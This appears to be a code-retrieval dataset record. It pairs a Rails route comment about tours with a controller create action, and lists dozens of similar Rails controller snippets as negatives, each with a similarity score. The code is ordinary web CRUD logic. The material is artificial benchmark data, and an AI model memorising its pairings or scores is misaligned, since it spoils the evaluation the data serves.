query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
GET /tours/1 GET /tours/1.json
def show # Get tour information from the model so we use it in the show view hash = Tour.handle_show(params[:id], current_user.id) @tour = hash[:tour] @seats_available = hash[:seats_available] @seats_waitlisted = hash[:seats_waitlisted] @user_tour = hash[:user_tour] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @tours = Tour.find(params[:id])\n end", "def index\n @tours = Tour.all\n end", "def index\n @tours = Tour.all\n end", "def index\n #@tours = Tour.all\n end", "def index\n @tours = Tour.find(1,2,3,4)\n end", "def index\n @tours = Tour.all\n if params[:search]\n @search = TourSearch.new(params[:search])\n @tours = @search.scope\n @tours = {} if @tours.nil?\n end\n end", "def show\n @tour = Tour.find_by_url(params[:id])\n @stops = @tour.stops\n @ratings = @tour.ratings\n @title = @tour.name\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tour }\n format.json { render :json => @tour }\n end\n end", "def my_tours\n @tours = Tour.where(user_id: current_user.id).order(created_at: :desc)\n end", "def index\n return render json: {message: 'Public users cannot list tours'}, status: 403 if current_user.public?\n @tours = TourServices::TourFilterApi.new(user: current_user,\n status: params[:status],\n type: params[:type],\n vehicle_type: params[:vehicle_type],\n latitude: params[:latitude],\n longitude: params[:longitude],\n distance: params[:distance],\n page: params[:page],\n per: per).tours\n render json: @tours, status: 200, each_serializer: ::V1::TourSerializer, scope: {user: current_user}\n end", "def show\n render json: @tour, status: 200, serializer: ::V1::TourSerializer, scope: {user: current_user}\n end", "def index\n @tours = Tour.all\n @category = Category.new\n @place = Place.new\n \n end", "def index\n @tours = Tour.all\n @cities = City.all\n @places = Place.all\n @user = User.first\n end", "def index\n if(params[:search])\n @title = \"Tours matching #{params[:search]}\"\n else\n @title = \"Search for tours\"\n end\n search_sort_and_paginate_tours(params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tours }\n format.json { render :json => @tours }\n end\n end", "def index\n p params[:tour_id]\n if params[:tour_id].nil?\n @points = Point.all\n render json: @points, include: :tour, status: :ok\n else\n @points = Point.where(tour_id: params[:tour_id])\n render json: @points, status: :ok\n end\n end", "def show\n travels = Travel.find(params[:id])\n render json: travels, status: :ok\n end", "def index\n @tourneys = Tourney.all\n end", "def index\n @tour_details = TourDetail.all\n end", "def index\n @tours = Tour.all\n if params[:search]\n @tours = Tour.search(params[:search]).order(\"created_at DESC\")\n else\n @tours = Tour.all.order('created_at DESC')\n end\n end", "def index\n @tour_requests = TourRequest.all\n end", "def index\n @tutor = Tutor.all\n\n render json: @tutor, status: :ok\n end", "def index\n @mod_tours = ModTour.all\n end", "def show \n @toy = Toy.find(params[:id]) \n # render json: Toy.find_by_id(params[:id]), status: :ok\n end", "def show\n @tour_date = TourDate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tour_date }\n end\n end", "def show\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torso }\n end\n end", "def show\n @turno = Turno.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @turno }\n end\n end", "def taken\n @travels = Travels::Travel.taken.where(performer: current_user)\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end", "def show\n @journey = Journey.find(params[:id])\n render json: @journey\n end", "def index\n redirect_to root_path unless session_logged_in?\n @tours = Tour.accessible_by(current_ability, :update)\n end", "def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end", "def index\n @tourist_places = TouristPlace.all\n end", "def index\n @tours = Tour.all.order(created_at: :desc)\n \n #Search functionality\n if params[:search]\n @tours = Tour.search(params[:search]).order(created_at: :desc)\n else\n @tours = Tour.all.order(created_at: :desc)\n end\n end", "def show\n @timeline = Timeline.find(params[:id])\n @orbituarysite = current_user.orbituarysites.new \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timeline }\n end\n end", "def show\n @tournament = Tournament.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tournament }\n end\n end", "def index\n @tour_dates = TourDate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tour_dates }\n end\n end", "def index\n @tourpubs = Tourpub.all\n end", "def index\n @tour = Tour.find_by_id params[:tour_id]\n @high_lights = @tour.high_lights\n render layout: \"shijiebang\"\n end", "def index\n @turmas = current_colegio.turmas\n end", "def index\n @trajets = Trajet.all\n end", "def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end", "def index\n\n # Get tours\n @tours = Tour.get_tours(params)\n\n # Support filtering tours according to user desires\n # https://www.justinweiss.com/articles/search-and-filter-rails-models-without-bloating-your-controller/\n flash[:filters] = {}\n filtering_params(params).each do |key, value|\n # Filter the tours by this criteria IF a \"real\" value was provided for the filter\n if value.length.positive? && (!is_number?(value) || value.to_f.positive?)\n @tours = @tours.public_send(key, value) if value.present?\n end\n # Persist this filter information for one request\n # so that we can still show the user what they filtered by\n flash[:filters][key] = value\n end\n\n # Set page title\n set_page_title\n\n\n end", "def show\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronia }\n end\n end", "def show\n @torneo = Torneo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torneo }\n end\n end", "def show\n @uchronist = Uchronist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronist }\n end\n end", "def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end", "def index\n @tourism_articles = @tourism_articles.published.recent.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tourism_articles }\n end\n end", "def show\n render json: @tutor, status: :ok\n end", "def index\n @locationtours = Locationtour.all\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def show\n @tour_visitor = TourVisitor.find(params[:tour_visitor_id])\n @time_visitor = TimeVisitor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @time_visitor }\n end\n end", "def show\n @tramite = Tramite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tramite }\n end\n end", "def show\n\t\t@tutorial = Tutorial.find(params[:id])\n\t\t@tutorial_reviews = TutorialReview.find_all_by_tutorial_id(@tutorial.id).reverse\n\n\t\t#@tweets = Tweet.find_all_by_tutorial_id(@tutorial.id)\n\n\t\t@tweets = Tweet.where(\"tweets.updated_at <= (SELECT MIN(t.updated_at) FROM tweets AS t WHERE t.from_user=tweets.from_user)\").order(\"tweets.tweet_id desc\").find_all_by_tutorial_id(@tutorial.id).first(108)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render :json => @tutorial }\n\t\tend\n\tend", "def show\n @tenure = Tenure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tenure }\n end\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend", "def index\n @turista = Turistum.all\n end", "def index\n @uchronists = Uchronist.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronists }\n end\n end", "def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end", "def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end", "def new\n @tln = Orbituarysite.find(params[:id]) \n @timeline = @tln.timelines.new\n @orbituarysite = current_user.orbituarysites.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timeline }\n end\n end", "def show\n if signed_in?\n @tourtable = Tourtable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tourtable }\n end\n end\nend", "def show\n @huerto = Huerto.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huerto }\n end\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end", "def show\n @territorio = Territorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @territorio }\n end\n end", "def show\n @venue = get_venue\n @tour = Tour.find(params[:id])\n @attraction_tours = @tour.attraction_tours.order(\"tour_order ASC\")\n @attractions = @tour.venue.attractions\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tour.to_json( :include => {:attraction_tours => { :include => :attraction} , :media => {} } ) }\n end\n end", "def api_url(id)\n name = get_tourney_name(id)\n return \"https://api.challonge.com/v1/tournaments/uxie#{id}#{name}\"\nend", "def active\n @travels = Travels::Travel.actual\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end", "def show\n @turma = Turma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @turma }\n end\n end", "def show\n @tutor = Tutor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutor }\n end\n end", "def get_travellers\n if current_user != nil\n @trip = Trip.find(params[:id])\n render json: @trip.trip_json\n else\n render json: session[:trip].trip_json\n end\n\n end", "def index\n @teaches = Teach.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teaches }\n end\n end", "def index\n @tutors = Tutor.all\n end", "def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end", "def show\n render json: @tenure\n end", "def show\n @teach = Teach.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teach }\n end\n end", "def show\n @teach = Teach.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teach }\n end\n end", "def index\n @travels = Travel.all\n end", "def index\n @travels = Travel.all\n end", "def tournaments\n get('sports/en/tournaments.xml')\n end", "def index\n @towns = Town.all\n end", "def show\n @pastor = Pastor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pastor }\n end\n end", "def set_tour\n @tour = Tour.includes(:wheres).find(params[:id])\n end", "def show\n render json: @trip\n end", "def show\n render json: @trip\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def set_tour\n @tour = Tour.find(params[:id])\n end", "def index\n @tutors = Tutor.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tutors }\n end\n end", "def index\n @webtoons = Webtoon.all\n end", "def index_5\n @joueurs = @parties.map(&:joueurs).as_json\n\n respond_to do |format|\n format.html { render :html => @joueurs.to_s }\n format.json { render :json => @joueurs.to_json }\n format.xml { render :xml => @joueurs.to_xml }\n end\n end", "def show\n @trajectory = Trajectory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trajectory }\n end\n end" ]
[ "0.76017433", "0.7459113", "0.7459113", "0.7353131", "0.71196204", "0.6803102", "0.6773846", "0.6754985", "0.67062265", "0.669323", "0.6625073", "0.6524155", "0.6485118", "0.64557034", "0.6430808", "0.64117706", "0.6383489", "0.6343115", "0.6271126", "0.62682503", "0.6247308", "0.62423813", "0.62202597", "0.62140906", "0.6171474", "0.61677545", "0.61507833", "0.6125616", "0.61227393", "0.6101666", "0.6088247", "0.60863626", "0.6074296", "0.60678256", "0.60662246", "0.60591686", "0.6055106", "0.6045397", "0.6044065", "0.60343575", "0.6026308", "0.60102785", "0.6009585", "0.6004074", "0.59961915", "0.59948504", "0.59937495", "0.5991002", "0.5991002", "0.5983056", "0.5974379", "0.5960257", "0.5953377", "0.5952432", "0.5950538", "0.59495205", "0.5948886", "0.59362805", "0.59148186", "0.5914361", "0.5913385", "0.5899644", "0.5895647", "0.5895015", "0.5877276", "0.58637583", "0.5863713", "0.58633655", "0.5860064", "0.58575034", "0.5854648", "0.5854439", "0.58513993", "0.58490115", "0.58490115", "0.584762", "0.584762", "0.5835409", "0.5831773", "0.58274084", "0.5825178", "0.5821008", "0.5821008", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5812116", "0.5811329", "0.57961833", "0.578803", "0.5781367" ]
0.0
-1
POST /tours POST /tours.json
def create # if image(s) attached they will be found inside tour_params @tour = Tour.new(tour_params) respond_to do |format| if @tour.save # Save the current user to the new tour's list of users... this creates the association record in the user_tours table @tour.users << current_user format.html { redirect_to @tour, notice: 'Tour was successfully created.' } format.json { render :show, status: :created, location: @tour } else format.html { render :new } format.json { render json: @tour.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @tour = current_user.tours.new(params[:tour])\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to @tour, :notice => 'Tour was successfully created.' }\n format.xml { render :xml => @tour, :status => :created, :location => @tour }\n format.json { render :json => @tour, :status => :created, :location => @tour }\n else\n format.html { render :action => \"new\", :status => :unprocessable_entity }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n format.json { render :json => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #@tour = Tour.new(tour_params)\n @tour = current_user.tours.build(tour_params)\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to @tour, notice: \"Tour was successfully created.\" }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(tour_params)\n @tour.user_id = current_user.id\n respond_to do |format|\n if @tour.save\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.find(current_user.id)\n @tourney = user.tourneys.create(tourney_params)\n\n respond_to do |format|\n if @tourney.save\n foro = Foro.create({:title => \"Forum of \" + @tourney.name, :description => \"In this forum you can ask any doubt you have about the procedures, rules, etc. of the tourney. In adittion, all the news regardles the tourney will be posted here by \"})\n @tourney.foro = foro\n format.html { redirect_to @tourney, notice: 'Tourney was successfully created.' }\n format.json { render :show, status: :created, location: @tourney }\n \n else\n format.html { render :new }\n format.json { render json: @tourney.errors, status: :unprocessable_entity }\n format.js \n end\n end\n end", "def index\n @tours = Tour.all\n end", "def index\n @tours = Tour.all\n end", "def create \n @tour = Tour.new(tour_params)\n respond_to do |format|\n if @tour.save\n format.html { redirect_to tours_path, :notice => 'Se creo el tour exitosamente.' }\n format.xml { render :xml => @tour, :status => :created, :location => @tour }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to new_place_path(@tour), notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(tour_params)\n extract_packages\n extract_dates\n respond_to do |format|\n if @tour.save\n extract_accomodations\n extract_prices\n extract_transportations\n manage_uploads\n format.html { redirect_to \"/tours/#{@tour.uuid}\", notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(tour_params)\n respond_to do |format|\n if @tour.save\n OrganizerMailer.notify_followers(@tour).deliver_now if (@tour.status == \"P\")\n format.html { redirect_to @tour, notice: t('tours_controller_create_notice_one') }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html {\n flash[:errors] = @tour.errors\n flash[:opened] = true\n redirect_to guided_tour_organizer_path(tour_params[:organizer] || tour_params[:organizer_id]),\n notice: t('tours_controller_create_notice_two')\n }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n #redirect_to tours_path\n end", "def tour_params\n params.require(:tour).permit(:tourname, :description, :price, :deadline, :startDate, :endDate, :totalSeats, :contactInfo, :username, :user_id)\n end", "def create\n @tour = Tour.find(params[:tour_id])\n @attraction_tour = AttractionTour.new(params[:attraction_tour])\n\n respond_to do |format|\n if @attraction_tour.save\n format.html { redirect_to @tour, notice: 'Attraction tour was successfully created.' }\n # format.json { render json: @attraction_tour, status: :created, location: @attraction_tour }\n else\n # format.html { render action: \"new\" }\n # format.json { render json: @attraction_tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour_review = TourReview.new(tour_review_params)\n\n respond_to do |format|\n if @tour_review.save\n format.html { redirect_to tours_url(current_user.id), notice: 'ツアーレビューが正常に作成されました。' }\n #format.json { render :show, status: :created, location: @tour_review }\n else\n format.html { render :new }\n format.json { render json: @tour_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n #@tours = Tour.all\n end", "def create\n @venue = Venue.find(params[:venue_id])\n @tour = Tour.new(params[:tour])\n @tour.venue = @venue\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to venue_path(@venue), notice: 'Tour was successfully created.' }\n format.json { render json: @tour, status: :created, location: @tour }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = current_user.tours.build(tour_params)\n session['tour_edit_referrer'] = request.env['HTTP_REFERER']\n if @tour.save\n redirect_to @tour, notice: 'Tour was successfully created.' \n \n else\n render :new \n \n end\n \n end", "def create\n # @tournament = Tournament.new(tournament_params)\n #\n # if @tournament.save\n # render :show, status: :created, location: @tournament\n # else\n # render json: @tournament.errors, status: :unprocessable_entity\n # end\n end", "def create\n @tour_detail = TourDetail.new(tour_detail_params)\n\n respond_to do |format|\n if @tour_detail.save\n format.html { redirect_to @tour_detail, notice: 'Tour detail was successfully created.' }\n format.json { render :show, status: :created, location: @tour_detail }\n else\n format.html { render :new }\n format.json { render json: @tour_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if logged_in?\n @active_tour = ActiveTour.new(active_tour_params)\n\n respond_to do |format|\n if @active_tour.save\n format.html { redirect_to @active_tour, notice: 'Active tour was successfully created.' }\n format.json { render :show, status: :created, location: @active_tour }\n else\n format.html { render :new }\n format.json { render json: @active_tour.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:success] = 'У вас нет доступа!'\n redirect_to root_path\n end\n end", "def create\n @tour_interest_list = TourInterestList.new(tour_interest_list_params)\n\n respond_to do |format|\n if @tour_interest_list.save\n format.html { redirect_to @tour_interest_list, notice: 'Tour interest list was successfully created.' }\n format.json { render :show, status: :created, location: @tour_interest_list }\n else\n format.html { render :new }\n format.json { render json: @tour_interest_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def created\n @travels = Travels::Travel.of(current_user)\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end", "def my_tours\n @tours = Tour.where(user_id: current_user.id).order(created_at: :desc)\n end", "def tourney_params\n params.require(:tourney).permit(:title, :desc, :start_date, :end_date, :user_id, :venue_id, :game_type_id, :tourney_type_id, :game_id)\n end", "def tour_params\n params.require(:tour).permit(:Autista, :Mezzo_Di_Trasporto, :Data, :Partenza, :destinazione, :durata, :Posti_Disponibili,:user_id)\n end", "def tour_params\n params.require(:tour).permit(:title, :description, :avatar_link, :city_id, :user_id, :image, :cover)\n end", "def create\n @tournament = Tournament.new(params[:tournament])\n\n respond_to do |format|\n if @tournament.save\n format.html { redirect_to @tournament, notice: 'Tournament was successfully created.' }\n format.json { render json: @tournament, status: :created, location: @tournament }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tournament.errors, status: :unprocessable_entity }\n end\n end\n end", "def tour_params\n params.require(:tour).permit(:name, :description, :price, :image, :deadline, :start_date, :end_date, :start_location, :country, :state, :total_seats, :canceled, :user_id, :search)\n end", "def index\n @tours = Tour.all\n if params[:search]\n @search = TourSearch.new(params[:search])\n @tours = @search.scope\n @tours = {} if @tours.nil?\n end\n end", "def create\n @tourney_set = TourneySet.new(tourney_set_params)\n\n respond_to do |format|\n if @tourney_set.save\n format.html { redirect_to @tourney_set, notice: 'Tourney set was successfully created.' }\n format.json { render :show, status: :created, location: @tourney_set }\n else\n format.html { render :new }\n format.json { render json: @tourney_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour_date = TourDate.new(params[:tour_date])\n\n respond_to do |format|\n if @tour_date.save\n format.html { redirect_to @tour_date, notice: 'Tour date was successfully created.' }\n format.json { render json: @tour_date, status: :created, location: @tour_date }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tour_date.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(params[:tour])\n @tour.create_permalink\n\n respond_to do |format|\n if @tour.save\n flash[:notice] = 'Tour was successfully created.'\n format.html { redirect_to(@tour) }\n format.xml { render :xml => @tour, :status => :created, :location => @tour }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @turno = Turno.new(turno_params)\n\n respond_to do |format|\n if @turno.save\n format.html { redirect_to @turno, notice: 'Turno was successfully created.' }\n format.json { render json: @turno, status: :created, location: @turno }\n else\n format.html { render action: \"new\" }\n format.json { render json: @turno.errors, status: :unprocessable_entity }\n end\n end\n end", "def tour_params\n params.require(:tour).permit(:id, :name, :description, :created_at, :updated_at, :price, \n :booking_deadline, :from_date, :to_date, :total_seats, \n :op_email, :op_phone, :status, :my_tours,\n images: [],\n tour_locations_attributes: [:id, :country, :state_or_province, :_destroy])\n end", "def create\n @mod_tour = ModTour.new(mod_tour_params)\n\n respond_to do |format|\n if @mod_tour.save\n format.html { redirect_to @mod_tour, notice: 'Mod tour was successfully created.' }\n format.json { render :show, status: :created, location: @mod_tour }\n else\n format.html { render :new }\n format.json { render json: @mod_tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @tours = Tour.find(params[:id])\n end", "def create\n if signed_in?\n @tourtable = Tourtable.new(params[:tourtable])\n\n respond_to do |format|\n if @tourtable.save\n format.html { redirect_to @tourtable, notice: 'Tourtable was successfully created.' }\n format.json { render json: @tourtable, status: :created, location: @tourtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tourtable.errors, status: :unprocessable_entity }\n end\n end\n end\nend", "def create\n @journey = Journey.new(journey_params)\n \n respond_to do |format|\n if @journey.save\n format.html { redirect_to @journey, notice: 'Journey was successfully created.' }\n format.json { render :show, status: :created, location: @journey }\n else\n format.html { render :new }\n format.json { render json: @journey.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour_request = TourRequest.new(tour_request_params)\n\n respond_to do |format|\n if @tour_request.save\n format.html { redirect_to @tour_request, notice: 'Tour request was successfully created.' }\n format.json { render :show, status: :created, location: @tour_request }\n else\n format.html { render :new }\n format.json { render json: @tour_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @torneo = Torneo.new(params[:torneo])\n\n respond_to do |format|\n if @torneo.save\n format.html { redirect_to @torneo, notice: 'Torneo was successfully created.' }\n format.json { render json: @torneo, status: :created, location: @torneo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @torneo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tournament = Tournament.new(tournament_params)\n\n respond_to do |format|\n if @tournament.save\n format.html { redirect_to @tournament, notice: 'Tournament was successfully created.' }\n format.json { render :show, status: :created, location: @tournament }\n else\n format.html { render :new }\n format.json { render json: @tournament.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timeline = Timeline.new(params[:timeline])\n @orbituarysite = @timeline.orbituarysite\n\n respond_to do |format|\n if @timeline.save\n format.html { redirect_to @orbituarysite, notice: 'Timeline was successfully created.' }\n format.json { render json: @timeline, status: :created, location: @timeline }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timeline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new()\n @tour.firstname = params[:tour][:firstname]\n @tour.lastname = params[:tour][:lastname]\n @tour.user_id = params[:tour][:user_id]\n @tour.tourtype = params[:tour][:tourtype]\n @tour.day = Date.new(params[:tour][\"day(1i)\"].to_i,params[:tour][\"day(2i)\"].to_i,params[:tour][\"day(3i)\"].to_i)\n @tour.time = params[:tour][:time]\n \n # create an instance/object of a BasicTour\n mytour = BasicTour.new(@tour.tourtype, @tour.day, @tour.time)\n \n # add the extra features to the new tour\n if params[:tour][:audio].to_s.length > 0 then\n mytour = AudioGuide.new(mytour)\n end\n \n # add the extra features to the new tour\n if params[:tour][:interest].to_s.length > 0 then\n mytour = TicketInterestPlace.new(mytour)\n end\n \n # add the extra features to the new tour\n if params[:tour][:pick_drop].to_s.length > 0 then\n mytour = PickUpDropOff.new(mytour)\n end\n \n ## populate the cost and the description details\n @tour.cost = mytour.cost\n @tour.description = mytour.details\n \n \n # retrieve the instance/object of the TourLogger class\n logger = TourLogger.instance\n logger.logInformation(\"A new tour added: \" + @tour.description )\n logger.logInformation(\"----------------------------------------\")\n \n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @toko = Toko.new(toko_params)\n @toko.user = current_user\n\n respond_to do |format|\n if @toko.save\n format.html { redirect_to '/finish', notice: 'Toko telah dibuat.' }\n format.json { render :show, status: :created, location: @toko }\n else\n format.html { render :new }\n format.json { render json: @toko.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n return render json: {message: 'Public users cannot list tours'}, status: 403 if current_user.public?\n @tours = TourServices::TourFilterApi.new(user: current_user,\n status: params[:status],\n type: params[:type],\n vehicle_type: params[:vehicle_type],\n latitude: params[:latitude],\n longitude: params[:longitude],\n distance: params[:distance],\n page: params[:page],\n per: per).tours\n render json: @tours, status: 200, each_serializer: ::V1::TourSerializer, scope: {user: current_user}\n end", "def create\n @tour_service = TourService.new(tour_service_params)\n\n respond_to do |format|\n if @tour_service.save\n\n format.html { redirect_to action:\"index\" }\n format.json { render :show, status: :created, location: @tour_service }\n else\n format.html { render :new }\n format.json { render json: @tour_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n if current_user.nil?\n @tour = Tour.new\n else\n @tour = current_user.tours.build\n end\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @tour }\n #end\n end", "def tour\n params.merge!({:email => 'tour@megam.io', :password => 'faketour'})\n create\n end", "def create\n @torso = Torso.new(params[:torso])\n\n respond_to do |format|\n if @torso.save\n format.html { redirect_to @torso, notice: 'Torso was successfully created.' }\n format.json { render json: @torso, status: :created, location: @torso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @torso.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @tour = Tour.find(params[:tour_id])\n @attraction_tour = AttractionTour.create(:tour_id => params[:tour_id], :attraction_id => params[:attraction_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attraction_tour }\n end\n end", "def tour_params\n params.require(:tour).permit(\n # Support searching\n # Permit things that will come through in a search post\n # Implemented per...\n # https://www.justinweiss.com/articles/search-and-filter-rails-models-without-bloating-your-controller/\n :tour,\n :utf8,\n :authenticity_token,\n :commit,\n # Permit the normal stuff\n :name,\n :description,\n :price_in_dollars,\n :deadline,\n :start_date,\n :end_date,\n :operator_contact,\n :cancelled,\n :num_seats,\n # Also permit up to 10 locations in the itinerary\n # Any un-selected locations will still come through\n # (just with a special value that we can use to ignore them later)\n :location1,\n :location2,\n :location3,\n :location4,\n :location5,\n :location6,\n :location7,\n :location8,\n :location9,\n :location10,\n # Also permit filtering\n :desired_location\n )\n end", "def create\n @tutor = Tutor.new(params[:tutor])\n\n respond_to do |format|\n if @tutor.save\n format.html { redirect_to @tutor, notice: 'Tutor was successfully created.' }\n format.json { render json: @tutor, status: :created, location: @tutor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutor.errors, status: :unprocessable_entity }\n end\n end\n 